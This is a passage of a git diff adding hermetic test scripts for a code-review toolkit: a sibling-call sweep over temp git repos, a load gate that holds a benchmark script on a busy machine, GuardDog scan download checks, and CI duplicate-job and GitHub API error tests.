grep -qE 'Failed to download|Network error' "$GD_ERR" && ok "real: no startup fetch attempted with the stub caches" || bad "real: startup fetch attempted" + # Control: the same scan without the stub caches (an empty cache dir) must try to download, else the no-fetch check above proves nothing; with fresh stub lists it must not. + mkdir -p "$T/emptydir" "$T/emptycache" "$T/stubcache" + for k in npm pypi rubygems go; do printf '{"downloaded_timestamp": %s, "packages": ["example"]}\n' "$(date +%s)" >"$T/stubcache/top_${k}_packages.json"; done + dead() { env HTTPS_PROXY=$px HTTP_PROXY=$px ALL_PROXY=$px https_proxy=$px http_proxy=$px all_proxy=$px NO_PROXY= no_proxy= GUARDDOG_TOP_PACKAGES_CACHE_LOCATION="$1" "$GR" npm scan --no-sandbox --output-format json "$T/emptydir" 2>&1 || true; } + case "$(dead "$T/emptycache")" in *"Failed to download"*|*"Network error"*) ok "real: control: a scan without the stub caches does try to download" ;; *) bad "real: control scan fetched nothing, so the no-fetch check proves nothing" ;; esac + case "$(dead "$T/stubcache")" in *"Failed to download"*|*"Network error"*) bad "real: a scan with the stub caches still tries to download" ;; *) ok "real: a scan with the stub caches does not" ;; esac +fi + +# Docs +for s in '`guarddog`' GUARDDOG_TOP_PACKAGES_CACHE_LOCATION REVIEW_GUARDDOG_BUDGET hasInstallScript '[heuristic]' '`*/package.json`'; do grep -qF -- "$s" "$H" && ok "tool-hub.md names $s" || bad "tool-hub.md names $s"; done +grep -qE 'pinact \(`pinact run`\) is the fixer for unpinned-action findings; it needs the GitHub API' "$H" && ! grep -q 'pinact [0-9]' "$H" && ok "tool-hub.md: pinact is the unpinned-action fixer and needs the GitHub API (no unsourced version)" || bad "tool-hub.md pinact line" +exit $fail diff --git a/scripts/test-review-checks-sibling-sweep.sh b/scripts/test-review-checks-sibling-sweep.sh new file mode 100644 index 000000000..675158933 --- /dev/null +++ b/scripts/test-review-checks-sibling-sweep.sh @@ -0,0 +1,223 @@ +#!/usr/bin/env bash +# Tests for sibling_sweep.py and review_checks.sh's built-in sibling-sweep step. A fix changes the arguments of calls to checkQuota, +# mintToken (empty to one argument), sendAlert (a line inserted in a multi-line call) and notify (Python) in one route and leaves the +# same calls in sibling routes: those unchanged non-test call sites are the leads, ranked first when their arguments equal the old +# form. Not leads: the definitions, a test file, a call already in the new form, a same-named call in another language, calls to a +# name with more than 25 call sites (one not-checked row names them: the hub keeps rows and drops the script's stderr summary), and the router call whose callback body (not its own arguments) was edited. More than 5 leads for one name or 30 in all +# are cut, with one not-checked row counting the rest. A call far into a long line is still a lead and a long comment line is still no call. A last repo covers test +# paths by name only (tests.py, test.ts, *.mock.ts, __fixtures__/), a receiver named like a keyword (proc.wait(), impl.run(): calls, not definitions) and git colour codes +# (color.ui=always). The sweep reads commits, not the working tree. In review_checks.sh it runs in base mode only +# (not under --full), is listed under "analyzers ran", and a missing script gives one not-checked row. Hermetic: temp git repo, +# pruned PATH (no awk, no linters), no host git config or ~/.local/bin tools, fictional code. +set -euo pipefail +export DCR_USER_BIN='' GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_NOSYSTEM=1 # the host's provisioned tools and git config (colour, signing, hooks) must not change what is asserted +ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +RC="$ROOT/.claude/skills/deep-code-review/scripts/review_checks.sh" +SS="$ROOT/.claude/skills/deep-code-review/scripts/sibling_sweep.py" +T=$(mktemp -d "${TMPDIR:-/tmp}/dcr-test-sibsweep.XXXXXX"); trap 'rm -rf "$T"' EXIT +fail=0 +ok() { printf 'ok %s\n' "$1"; } +bad() { printf 'FAIL %s\n' "$1"; fail=1; } +G() { git -c user.email=t@example.com -c user.name=t "$@"; } + +mkdir "$T/bin" "$T/nosweep" "$T/repo" "$T/cap" "$T/long" "$T/edge" +for c in git python3 bash sed grep head tail mktemp rm cat dirname perl env tr wc sleep timeout; do ln -s "$(command -v "$c")" "$T/bin/" 2>/dev/null || true; done +cp "$RC" "$T/nosweep/review_checks.sh" # no sibling_sweep.py beside it +export PERUN_HEAVY_DIR="$T/heavy" + +cd "$T/repo" +G init -q . && G commit -q --allow-empty -m empty +leak=$(git config --list --show-origin | cut -f1 | grep '^file:' | grep -vx 'file:\.git/config' || true) # config files other than the repo's own; origins only, a value could be the host user's +[ -z "${DCR_USER_BIN-x}" ] && [ -z "$leak" ] && ok "hermetic: no host tool dir, no global or system git config" || bad "host environment leaks in: DCR_USER_BIN=${DCR_USER_BIN-unset}, config from ${leak:-none}" +mkdir -p src/routes src/__tests__ tests svc tools +cat >src/limits.ts <<'EOF' +export function checkQuota(key: string): boolean { + return key.length > 0; +} +export function mintToken(): string { + return "t"; +} +export function sendAlert(user: string, level: number): void {} +EOF +cat >src/routes/a.ts <<'EOF' +import { checkQuota, mintToken, sendAlert } from "../limits"; + +export function routeA(user: string) { + if (!checkQuota(user)) return null; + const t = mintToken(); + sendAlert( + user, + 1 + ); + return t; +} +EOF +cat >src/routes/b.ts <<'EOF' +import { checkQuota, sendAlert } from "../limits"; + +export function routeB(user: string) { + if (!checkQuota(user)) return null; + sendAlert(user, 1); + return "b"; +} +EOF +cat >src/routes/c.ts <<'EOF' +import { checkQuota, mintToken } from "../limits"; + +export function routeC(id: string) { + if (!checkQuota(`other:${id}`)) return null; + return mintToken(); +} +EOF +cat >src/routes/d.ts <<'EOF' +import { checkQuota } from "../limits"; + +export function routeD(user: string) { + return checkQuota(`quota:${user}`); +} +EOF +cat >src/routes/e.ts <<'EOF' +router.get("/e1", async (req) => { + doWork(1); +}); +router.get("/e2", async (req) => { + doWork(1); +}); +EOF +printf 'expect(checkQuota(user)).toBe(true);\n' >tests/limits.test.ts +printf 'expect(checkQuota(user)).toBe(true);\n' >src/__tests__/limits.ts +printf 'checkQuota(user)\n' >tools/report.py +cat >svc/core.py <<'EOF' +def notify(user, msg): + return msg +EOF +printf 'def run_a(user):\n return notify(user, "x")\n' >svc/a.py +printf 'def run_b(user):\n return notify(user, "x")\n' >svc/b.py +{ echo 'import { audit } from "./audit";'; for i in $(seq 1 30); do echo "audit($i, \"x\");"; done; } >src/many.ts +G add . && G commit -q -m base +git branch base + +# the fix: every changed call is in routes a, e1, many (line 8) and svc/a.py; their siblings are left alone +cat >src/routes/a.ts <<'EOF' +import { checkQuota, mintToken, sendAlert } from "../limits"; + +export function routeA(user: string) { + if (!checkQuota(`quota:${user}`)) return null; + const t = mintToken(user); + sendAlert( + user, + "mail", + 1 + ); + return t; +} +EOF +cat >src/routes/e.ts <<'EOF' +router.get("/e1", async (req) => { + doWork(2); +}); +router.get("/e2", async (req) => { + doWork(1); +}); +EOF +sed -i.bak '8s/"x"/"y"/' src/many.ts && rm src/many.ts.bak +printf 'def run_a(user):\n return notify(user, "x", urgent=True)\n' >svc/a.py +G add . && G commit -q -m fix +rows() { cut -f1,2,3 "$1" | tr '\t' ':'; } + +python3 -I "$SS" --repo . --base base --head HEAD >"$T/out.tsv" 2>"$T/err" || true +want="src/routes/b.ts:4:unchanged-sibling-call +src/routes/e.ts:5:unchanged-sibling-call +src/routes/c.ts:5:unchanged-sibling-call +svc/b.py:2:unchanged-sibling-call +src/routes/b.ts:5:unchanged-sibling-call +src/routes/c.ts:4:unchanged-sibling-call +.:0:not-checked" +[ "$(rows "$T/out.tsv")" = "$want" ] && ok "leads: sibling call sites, old-form arguments first, then by name, then the not-checked row" || bad "lead rows: $(rows "$T/out.tsv")" +grep -q '^src/routes/b.ts.4.unchanged-sibling-call.lead: checkQuota(user) is unchanged, but this diff changed the arguments of checkQuota at src/routes/a.ts:4 (user -> `quota:${user}`); same arguments as the old form$' "$T/out.tsv" \ + && ok "message names the call, the changed site and the old and new arguments" || bad "message shape" +grep -q 'checkQuota(`other:${id}`) is unchanged' "$T/out.tsv" && ! grep 'other:' "$T/out.tsv" | grep -q 'same arguments as the old form' && ok "different arguments: a lead, without the old-form tag" || bad "tier-1 row" +[ "$(grep unchanged-sibling-call "$T/out.tsv" | cut -f1 | sort -u | tr '\n' ' ')" = "src/routes/b.ts src/routes/c.ts src/routes/e.ts svc/b.py " ] && ! grep -q 'arguments of get ' "$T/out.tsv" \ + && ok "test paths, definitions, a call already in the new form, another language, a name over 25 sites and a callback edit are not leads" || bad "excluded sites listed: $(grep unchanged-sibling-call "$T/out.tsv" | cut -f1 | sort -u | tr '\n' ' ')" +grep -Fxq $'.\t0\tnot-checked\tsibling sweep partial: not swept, over 25 call sites: audit' "$T/out.tsv" \ + && ok "a name over 25 call sites is a not-checked row, not only a stderr note" || bad "over-cap row: $(grep not-checked "$T/out.tsv" || echo none)" +grep -q 'not swept, over 25 call sites: audit' "$T/err" && grep -q '6 lead(s), not findings' "$T/err" && ok "stderr summary: 6 leads, not findings; the over-common name is named" || bad "summary: $(cat "$T/err")" +grep -q 'sendAlert(user, 1) is unchanged.*(user, 1 -> user, "mail", 1)' "$T/out.tsv" && ok "a line inserted into a multi-line call counts as an argument change" || bad "multi-line insertion" +grep -q 'mintToken() is unchanged.*( -> user)' "$T/out.tsv" && ok "empty old arguments are an old form too" || bad "empty-argument form" + +# reads commits, not the working tree: with base checked out (the fix absent from the files), sweep the fix commit +git branch fix && git checkout -q base +python3 -I "$SS" --repo . --base base --head fix >"$T/out2.tsv" 2>/dev/null || true +[ "$(rows "$T/out2.tsv")" = "$want" ] && [ -z "$(git status --porcelain)" ] && ok "sweeping a commit that is not checked out gives the same leads and touches nothing" || bad "commit-only sweep" +git checkout -q fix + +python3 -I "$SS" --repo . --base nosuchref >/dev/null 2>"$T/err3" && bad "bad ref should exit 2" || { [ "$?" = 2 ] && grep -q 'unresolvable ref' "$T/err3" && ok "unresolvable ref exits 2" || bad "bad ref exit"; } +python3 -I "$SS" --repo . --base=-x >/dev/null 2>"$T/err4" && bad "ref starting with - accepted" || { [ "$?" = 2 ] && grep -q "must not start with" "$T/err4" && ok "ref starting with - refused (exit 2)" || bad "dash ref: $(cat "$T/err4")"; } + +# review_checks.sh --base: leads are sibling-sweep rows, listed under analyzers ran +PATH="$T/bin" bash "$RC" --base base 2>"$T/rerr" >"$T/rout" || true +jq -e '[.[] | select(.tool=="sibling-sweep" and .rule!="not-checked")] | length == 6 and all(.[]; .rule=="unchanged-sibling-call" and (.text|startswith("unchanged-sibling-call: lead: ")) and .line>0 and (has("hint")|not))' "$T/rout" >/dev/null \ + && ok "review_checks.sh: 6 sibling-sweep lead rows with the usual row shape" || bad "rows: $(jq -c '[.[]|select(.tool=="sibling-sweep")|.file]' "$T/rout")" +jq -e '[.[] | select(.tool=="sibling-sweep" and .rule=="not-checked")] | length == 1 and (.[0].message|contains("not swept, over 25 call sites: audit"))' "$T/rout" >/dev/null \ + && ok "review_checks.sh keeps the over-cap name as one not-checked row (it drops the stderr summary)" || bad "over-cap row: $(jq -c '[.[]|select(.tool=="sibling-sweep" and .rule=="not-checked")|.message]' "$T/rout")" +grep -Eq 'analyzers ran:.* sibling-sweep' "$T/rerr" && ok "listed under analyzers ran" || bad "analyzers ran" +! grep -q 'NOT RUN: .*sibling-sweep' "$T/rerr" && ! grep -q '^sibling_sweep:' "$T/rout" && ok "no NOT RUN entry; the script's stderr summary is not a row" || bad "not-run or summary row" +PATH="$T/bin" bash "$RC" --base base --full 2>"$T/rerr1" >"$T/rout1" || true +jq -e 'all(.[]; .tool!="sibling-sweep")' "$T/rout1" >/dev/null && ! grep -Eq 'analyzers ran:.* sibling-sweep' "$T/rerr1" && ok "--full does not run it (no diff)" || bad "--full ran the sweep" +PATH="$T/bin" bash "$T/nosweep/review_checks.sh" --base base 2>"$T/rerr2" >"$T/rout2" || true +jq -e '[.[] | select(.tool=="sibling-sweep")] | length == 1 and .[0].rule=="not-checked" and (.[0].message|contains("sibling_sweep.py missing"))' "$T/rout2" >/dev/null \ + && grep -q 'not run: sibling-sweep' "$T/rerr2" && ! grep -Eq 'analyzers ran:.* sibling-sweep' "$T/rerr2" && ok "script missing gives one not-checked row, not listed as ran" || bad "missing-script row" + +# caps: eight changed names with 6 unchanged sites each = 48 leads; 5 per name (40), 30 in all, and one not-checked row counting the other 18 +cd "$T/cap" +G init -q . && G commit -q --allow-empty -m empty +for n in A B C D E F G H; do for i in 1 2 3 4 5 6; do echo "emit$n($i);"; done; done >bulk.ts +for n in A B C D E F G H; do echo "emit$n(0);"; done >one.ts +G add . && G commit -q -m base && git branch base +for n in A B C D E F G H; do echo "emit$n(0, true);"; done >one.ts +G add . && G commit -q -m fix +python3 -I "$SS" --repo . --base base >"$T/cap.tsv" 2>/dev/null || true +[ "$(grep -c unchanged-sibling-call "$T/cap.tsv")" = 30 ] && [ "$(grep unchanged-sibling-call "$T/cap.tsv" | grep -c 'emitA(')" = 5 ] && [ "$(grep -c not-checked "$T/cap.tsv")" = 1 ] \ + && grep -Fxq $'.\t0\tnot-checked\tsibling sweep partial: 18 more sibling lead(s) not listed (cap 5 per function, 30 in all)' "$T/cap.tsv" \ + && ok "caps: 5 rows per name, 30 in all, one not-checked row counting the rest" || bad "caps: $(cut -f1-3 "$T/cap.tsv" | sort | uniq -c | head -5)" + +# long lines: only the 300 characters before a call decide whether it is a definition (a one-line bundle must not be quadratic), so a call +# far into a long line is still a lead, and a call inside a long comment line is still no call +cd "$T/long" +G init -q . && G commit -q --allow-empty -m empty +pad=$(python3 -c 'print("x" * 400)') +printf 'checkQuota(user);\n' >route.ts +printf 'const pad = "%s"; checkQuota(a);\n// %s checkQuota(b)\n' "$pad" "$pad" >long.ts +G add . && G commit -q -m base && git branch base +printf 'checkQuota(user, 1);\n' >route.ts +G add . && G commit -q -m fix +python3 -I "$SS" --repo . --base base >"$T/long.tsv" 2>/dev/null || true +[ "$(rows "$T/long.tsv")" = "long.ts:1:unchanged-sibling-call" ] && ok "long lines: a call 400 characters into its line is a lead, a call in a long comment is not" || bad "long lines: $(rows "$T/long.tsv")" + +# edge cases. checkQuota and mintToken (called through `impl.`) change in src/a.ts, notify in svc/a.py. Their one non-test sibling each is a lead: +# `proc.checkQuota(user)` (a receiver named like a keyword is a call, not a definition), `mintToken()` and svc/b.py. app/tests.py, src/test.ts, src/a.mock.ts +# and src/__fixtures__/q.ts hold the same calls and are test paths. Then git is told to colour its output, which must change nothing. +cd "$T/edge" +G init -q . && G commit -q --allow-empty -m empty +mkdir -p src/__fixtures__ svc app +printf 'checkQuota(user);\nimpl.mintToken();\n' >src/a.ts +printf 'proc.checkQuota(user);\nmintToken();\n' >src/b.ts +for f in src/test.ts src/a.mock.ts src/__fixtures__/q.ts; do printf 'checkQuota(user);\nmintToken();\n' >"$f"; done +for f in svc/a.py svc/b.py app/tests.py; do printf 'notify(user, "x")\n' >"$f"; done +G add . && G commit -q -m base && git branch base +printf 'checkQuota(user, 1);\nimpl.mintToken(user);\n' >src/a.ts +printf 'notify(user, "x", urgent=True)\n' >svc/a.py +G add . && G commit -q -m fix +python3 -I "$SS" --repo . --base base >"$T/edge.tsv" 2>/dev/null || true +! cut -f1 "$T/edge.tsv" | grep -Eq '(^|/)(tests\.py|test\.ts|a\.mock\.ts)$|__fixtures__' && grep -q '^svc/b.py' "$T/edge.tsv" \ + && ok "test paths by name only (tests.py, test.ts, a.mock.ts) and __fixtures__/ are not swept" || bad "test-named paths listed: $(cut -f1 "$T/edge.tsv" | sort -u | tr '\n' ' ')" +grep -q '^src/b.ts.1.unchanged-sibling-call.lead: checkQuota(user) is unchanged' "$T/edge.tsv" && grep -q '^src/b.ts.2.unchanged-sibling-call.lead: mintToken() is unchanged.* of mintToken at src/a.ts:2 ' "$T/edge.tsv" \ + && ok "a receiver named like a keyword (proc., impl.) is a call: a changed one is seen, a sibling is a lead" || bad "keyword receiver: $(rows "$T/edge.tsv" | tr '\n' ' ')" +edge="src/b.ts:1:unchanged-sibling-call +src/b.ts:2:unchanged-sibling-call +svc/b.py:1:unchanged-sibling-call" +git config color.ui always +python3 -I "$SS" --repo . --base base >"$T/edge2.tsv" 2>/dev/null || true +[ "$(rows "$T/edge2.tsv")" = "$edge" ] && ok "color.ui=always changes nothing: the same 3 leads, not 0" || bad "colour: $(rows "$T/edge2.tsv" | tr '\n' ' ')" + +[ "$fail" = 0 ] diff --git a/scripts/test_heavy_gate_perf.py b/scripts/test_heavy_gate_perf.py new file mode 100644 index 000000000..81803ce83 --- /dev/null +++ b/scripts/test_heavy_gate_perf.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 +"""heavy_gate.DEFAULT_PATTERNS hold perf_compare.sh (a hyperfine A/B: it checks out a second tree and runs the command repeatedly) +like Perun's other scan/CI entrypoints: held while the machine is busy, never held for --help/-h, a read or lint of the file, +or a mere mention of its name. The hook tests feed heavy_gate.py a busy and an idle machine through its $PERUN_GATE_* injection +and a private lease dir. Offline; nothing named here is ever executed.""" +import json +import os +import subprocess +import sys +import tempfile +import unittest +from pathlib import Path + +sys.dont_write_bytecode = True +SC = Path(__file__).resolve().parents[1] / ".claude/skills/agentic-delivery/scripts" +sys.path.insert(0, str(SC)) +import heavy_gate as hg # noqa: E402 + +PC = ".claude/skills/deep-code-review/scripts/perf_compare.sh" +HEAVY = [ + f"bash {PC} -- npm test", f"bash {PC} --runs 5 --base origin/main -- make bench", "./perf_compare.sh --runs 5 -- make", + f"time bash {PC} -- ./run", f"cd app && bash {PC} --base HEAD~3 -- node bench.js", "bash -c 'bash scripts/perf_compare.sh -- ./run'", + f"sh {PC} -- ./run", f"zsh {PC} -- ./run", f"nice -n 5 bash {PC} -- ./run", f"CI=1 bash {PC} -- ./run", f"echo ok && bash {PC} -- ./run", +] +LIGHT = [ + f"bash {PC} --help", f"bash {PC} -h", "perf_compare.sh --help", f"cat {PC}", f"shellcheck {PC}", f"bash -n {PC}", f"grep -n runs {PC}", + "git commit -m 'perf_compare.sh tweak'", "echo perf_compare.sh", "command -v perf_compare.sh", f"ls {PC}", +] + + +def hook(cmd, load1, d): + """Run heavy_gate.py as the PreToolUse hook on `cmd` with an injected load; returns its stdout (empty = allowed).""" + env = {k: v for k, v in os.environ.items() if k != "PERUN_HEAVY_PATTERNS"} + env.update(PERUN_HEAVY_DIR=str(Path(d) / "heavy"), PERUN_POLICY=str(Path(d) / "none.json"), PERUN_GATE_LOAD1=str(load1), + PERUN_GATE_CORES="8", PERUN_GATE_FREE_RAM_PCT="60", PERUN_HEAVY_HOOK_WAIT_SECS="0") + return subprocess.run([sys.executable, str(SC / "heavy_gate.py")], input=json.dumps({"tool_input": {"command": cmd}, "cwd": "/w"}), + env=env, capture_output=True, text=True, timeout=30).stdout + + +class PerfComparePatterns(unittest.TestCase): + def test_entrypoint_is_heavy_however_it_is_launched(self): + for c in HEAVY: + self.assertTrue(hg.is_heavy(c, hg.DEFAULT_PATTERNS), c) + + def test_help_reads_lints_and_mentions_stay_light(self): + for c in LIGHT: + self.assertFalse(hg.is_heavy(c, hg.DEFAULT_PATTERNS), c) + + def test_docstring_lists_the_entrypoint(self): + self.assertIn("perf_compare.sh", hg.__doc__) + + +class PerfCompareHook(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.TemporaryDirectory() + self.addCleanup(self.tmp.cleanup) + (Path(self.tmp.name) / "heavy").mkdir() + (Path(self.tmp.name) / "none.json").write_text("{}") + + def test_busy_machine_denies_the_run(self): + out = json.loads(hook(HEAVY[0], 99, self.tmp.name))["hookSpecificOutput"] + self.assertEqual(out["permissionDecision"], "deny") + self.assertIn("machine busy", out["permissionDecisionReason"]) + + def test_idle_machine_allows_the_run(self): + self.assertEqual(hook(HEAVY[0], 0, self.tmp.name), "") + + def test_help_passes_even_when_busy(self): + for c in LIGHT[:3]: + self.assertEqual(hook(c, 99, self.tmp.name), "", c) + + +if __name__ == "__main__": + unittest.main() diff --git a/scripts/test_latency_split.py b/scripts/test_latency_split.py index 42802a77d..26a131d82 100644 --- a/scripts/test_latency_split.py +++ b/scripts/test_latency_split.py @@ -28,6 +28,7 @@ '# Streaming transports — contract & reliability', 'Read this when the target serves or consumes a WebSocket, SSE or gRPC-streaming endpoint (server, client or SDK wrapper). It fires at FILE or FULL scope on what the repo contains, not only on a diff. Moved verbatim from `api-contracts.md`, where "this file" refers; the auth angle stays in `security-api.md`.', 'Reconnect-resume, slow-consumer bounds, two-way liveness, ordering/dedup, gRPC keepalive and bidi flow control: `api-contracts-streaming.md` — **read it when** the target serves or consumes a WebSocket, SSE or gRPC-streaming endpoint, at any scope (FILE or FULL, not only a diff). The auth angle (upgrade auth, `Origin`/CSWSH, per-connection limits) stays in `security-api.md`.', + 'To measure a timing claim, run `scripts/perf_compare.sh` (hyperfine A/B against the base; rules and how to read the verdict: `tool-hub.md`), or `scripts/app_pentest.sh --load` for a running endpoint (`app-pentest.md`).', ] diff --git a/scripts/test_pipeline_hub.py b/scripts/test_pipeline_hub.py index a198fef21..96ae72ed5 100644 --- a/scripts/test_pipeline_hub.py +++ b/scripts/test_pipeline_hub.py @@ -1,8 +1,10 @@ #!/usr/bin/env python3 """Offline tests for pipeline_hub.py: per-workflow and per-job percentiles, per-job flakes from earlier attempts, -duplicate-check detection across CI jobs (enforced check steps only, jobs matched on workflow and name), PR lead time, -the gh-workflow-stats adapter and its fallback, the named-job recommendations and the CLI (exit 2 on bad input, the ---root checkout gate). Synthetic data only: no network, no real repo, no real names.""" +duplicate-check detection across CI jobs (enforced check steps only, the same command rather than the same script, +jobs matched on workflow and name, no even-split price), PR lead time, +the gh-workflow-stats adapter and its fallback, collect's resume and its skip of one failed run, the API message in a +gh_get error, the named-job recommendations and the CLI (exit 2 on bad input, the --root checkout gate). Synthetic +data only: no network, no real repo, no real names.""" import contextlib import datetime import io @@ -109,6 +111,38 @@ run: bash scripts/ci-gates.sh rules """ BETA = ALPHA.replace("name: alpha\n", "") # unnamed: its runs are named after the file path +TWO_GATES = """name: gates +on: + pull_request: +jobs: + cheap: + runs-on: ubuntu-latest + steps: + - name: Gate changed files + run: python3 scripts/fix_class_gate.py --changed + - name: Gate all files + run: python3 scripts/fix_class_gate.py --all +""" +SPELLINGS = """name: gates +on: + pull_request: +jobs: + first: + runs-on: ubuntu-latest + steps: + - name: Rule check + run: bash scripts/ci-gates.sh rules --base main + second: + runs-on: ubuntu-latest + steps: + - name: Rule check again + run: bash scripts/ci-gates.sh rules "--base" 'main' > out.txt 2>&1 + third: + runs-on: ubuntu-latest + steps: + - name: Rule check everything + run: bash scripts/ci-gates.sh rules --all +""" def iso(t): @@ -194,11 +228,12 @@ def test_cancelled_and_skipped_ignored(self): b["runs"].append(run(9, 9999, "cancelled")) self.assertEqual(hub.workflow_stats(b)[0]["runs"], 4) - def test_dup_jobs_only_pr_workflows_and_split_step_cost(self): + def test_dup_jobs_only_pr_workflows_and_a_multi_command_step_is_not_priced(self): d = hub.dup_jobs(self.tmp.name, hub.job_stats(bundle())) self.assertEqual([x["suite"] for x in d], ["scripts/ci-gates.sh rules"]) # release.yml (tag push) is no gate self.assertEqual((d[0]["keep"]["job"], d[0]["drop"][0]["job"]), ("cheap", "unit")) # lower p50 kept - self.assertEqual(d[0]["saved_s"], 140) # `Run unit` median 280s split over its 2 suites + # `Run unit` (280s) runs two commands: an even split (140s) is not the suite's own time, so nothing is priced + self.assertEqual((d[0]["drop"][0]["step_p50_s"], d[0]["saved_s"]), (None, None)) def test_dup_ignores_a_post_merge_push_and_an_unproven_if(self): gate_and_post_merge = self.checkout(gates=ONE_GATE, post=POST_MERGE) # the push-to-main copy is not a PR gate @@ -210,6 +245,46 @@ def test_dup_flags_checks_not_builds(self): d = hub.dup_jobs(self.checkout(gates=BUILD_TWICE).name, []) # a second `make` or build is needed by what follows self.assertEqual([x["suite"] for x in d], ["pytest"]) + def test_same_script_with_different_arguments_is_an_advisory_not_a_duplicate(self): + root = self.checkout(gates=TWO_GATES).name # two gates, one script, two flag sets, both steps timed + rows = [{"workflow": "gates", "job": "cheap", "p50_s": 60, + "step_p50": {"Gate changed files": 40.0, "Gate all files": 30.0}}] + d, = hub.dup_jobs(root, rows) + self.assertEqual((d["suite"], d.get("identical"), d["saved_s"]), ("scripts/fix_class_gate.py", False, None)) + text, = [r["text"] for r in hub.recommend([], [], [d], {})] + self.assertIn("same suite, different arguments: check one covers the other before dropping", text) + for word in ("keep the first", "drop the second", "saves", "unmeasured", "40.0s", "30.0s"): # no drop, no price + self.assertNotIn(word, text) + out = hub.render(hub.build("o/r", root, bundle())) + self.assertIn("scripts/fix_class_gate.py: different arguments in `cheap`, `cheap` (advisory", out) + self.assertNotIn("keep in", out) + + def test_identical_command_is_a_duplicate_however_it_is_spelled(self): + root = self.checkout(gates=SPELLINGS).name # extra spaces, quotes and a redirect do not make another command + d, = hub.dup_jobs(root, []) # `rules --all` in a third job is another command: not part of this duplicate + self.assertEqual((d["suite"], d.get("identical")), ("scripts/ci-gates.sh rules", True)) + self.assertEqual([r["job"] for r in [d["keep"]] + d["drop"]], ["first", "second"]) + + def test_a_lone_command_step_is_priced_from_its_own_median(self): + rows = [{"workflow": "gates", "job": "cheap", "p50_s": 500, "step_p50": {"Rule check": 45.1}}, # one command + {"workflow": "gates", "job": "unit", "p50_s": 100, "step_p50": {"Run unit": 180.0}}] + d, = hub.dup_jobs(self.tmp.name, rows) # `cheap` is the dropped copy + self.assertEqual((d["keep"]["job"], d["drop"][0]["step_p50_s"], d["saved_s"]), ("unit", 45.1, 45.1)) + self.assertIn("saves at most about 45.1s per run (its step's median).", hub.recommend([], [], [d], {})[0]["text"]) + + def test_a_multi_command_step_is_unmeasured_not_split_evenly(self): + rows = [{"workflow": "gates", "job": "cheap", "p50_s": 100, "step_p50": {"Rule check": 45.1}}, + {"workflow": "gates", "job": "unit", "p50_s": 500, "step_p50": {"Run unit": 180.0}}] # two commands + d, = hub.dup_jobs(self.tmp.name, rows) # `unit` is the dropped copy + self.assertEqual((d["keep"]["step_p50_s"], d["drop"][0]["step_p50_s"], d["saved_s"]), (45.1, None, None)) + text = hub.recommend([], [], [d], {})[0]["text"] + self.assertIn("the suite's own time is unmeasured: time it locally to price the saving.", text) + for word in ("even split", "saves", "1m30s", "3m00s"): # the 90s split, the whole 180s step + self.assertNotIn(word, text) + rep = hub.build("o/r", self.tmp.name, bundle()) # end to end: `Run unit` has a 280s median over two commands + self.assertIn("scripts/ci-gates.sh rules: keep in `cheap`; also in `unit`", hub.render(rep)) # line unchanged + self.assertTrue(all("saves" not in r["text"] for r in rep["recs"] if r["kind"] == "duplicate-job")) + def test_is_check_tells_a_check_from_a_build_or_setup_step(self): for line, want in (("pytest -q", True), ("npm run lint", True), ("make test", True), ("cargo test", True), ("go vet ./...", True), ("bash scripts/ci-gates.sh rules", True), @@ -328,6 +403,40 @@ def test_collect_records_a_failed_call_instead_of_raising(self): b = hub.collect("o/r", b, 2, 10, get=self.api(seen)) # resume: only /pulls is fetched self.assertEqual((len(seen) - n, b["limits"], len(b["pulls"])), (1, [], 1)) + def test_collect_skips_a_run_whose_call_fails_and_keeps_going(self): + """GitHub answers HTTP 502 for one run's /jobs every time (run 2) and for one earlier attempt (run 3): each is + named once in limits, the other runs and the pulls are still collected, and a re-run retries only the two.""" + seen, ok = [], self.api([]) + + def get(path, params=None): + if path.endswith("/actions/runs"): + return {"workflow_runs": [run(i, 100, attempt=2 if i in (2, 3) else 1) for i in (1, 2, 3, 4)]} + if "/runs/2/" in path or "/runs/3/attempts/" in path: + seen.append(path) + raise OSError("Server Error (HTTP 502)") + return ok(path, params) + + b = hub.collect("o/r", {}, 4, 10, get=get) + self.assertEqual((sorted(b["jobs"]), list(b["prior"]), len(b["pulls"])), (["1", "3", "4"], [], 1)) + self.assertEqual(seen, ["/repos/o/r/actions/runs/2/jobs", "/repos/o/r/actions/runs/3/attempts/1/jobs"]) # run 2: no attempts call after its jobs call failed + self.assertEqual(len(b["limits"]), 2) + for line, rid in zip(b["limits"], "23"): + self.assertIn("run %s " % rid, line) + self.assertIn("Server Error (HTTP 502)", line) + self.assertNotIn("collection stopped", line) + seen.clear() + b = hub.collect("o/r", b, 4, 10, get=self.api(seen)) # resume: only what failed is fetched again + self.assertEqual((seen, b["limits"], sorted(b["jobs"]), sorted(b["prior"])), + (["/repos/o/r/actions/runs/2/jobs", "/repos/o/r/actions/runs/2/attempts/1/jobs", + "/repos/o/r/actions/runs/3/attempts/1/jobs"], [], ["1", "2", "3", "4"], ["2/1", "3/1"])) + + def test_collect_still_stops_when_the_runs_list_fails(self): + def get(path, params=None): + raise OSError("Server Error (HTTP 502)") + b = hub.collect("o/r", {}, 2, 10, get=get) + self.assertEqual((b["runs"], b["jobs"], b["pulls"]), ([], {}, [])) + self.assertTrue(b["limits"][0].startswith("collection stopped: Server Error (HTTP 502)"), b["limits"]) + def test_gh_get_parses_raises_and_uses_the_tls_fallback(self): done = lambda rc, out="", err="": subprocess.CompletedProcess([], rc, out, err) with mock.patch.object(hub.subprocess, "run", return_value=done(0, '{"a": 1}')) as r: @@ -342,6 +451,19 @@ def test_gh_get_parses_raises_and_uses_the_tls_fallback(self): self.assertEqual(hub.gh_get("/repos/o/r/y"), {"b": 2}) self.assertEqual(fb.call_args[0][:2], (["gh", "api", "/repos/o/r/y"], 1)) + def test_gh_get_error_names_the_api_message_not_a_bare_brace(self): + body = '{\n "message": "Server Error"\n}\n' + for triple, want in (((1, body, "gh: Server Error (HTTP 502)\n"), "Server Error (HTTP 502)"), # gh's own line + ((1, "", "HTTP 502: " + body), "Server Error (HTTP 502)"), # the curl fallback keeps the body: last line is "}" + ((1, "", body), "Server Error"), # no status in the text: none is invented + ((1, "", "gh: HTTP 502\nsecond line"), "second line"), # no message at all: the last line, as before + ((1, "", " \n"), "gh api failed")): # blank stderr: a fixed text, not an IndexError + with mock.patch.object(hub.subprocess, "run", return_value=subprocess.CompletedProcess([], 1, "", "")), \ + mock.patch.object(hub.gh_rest, "fallback", 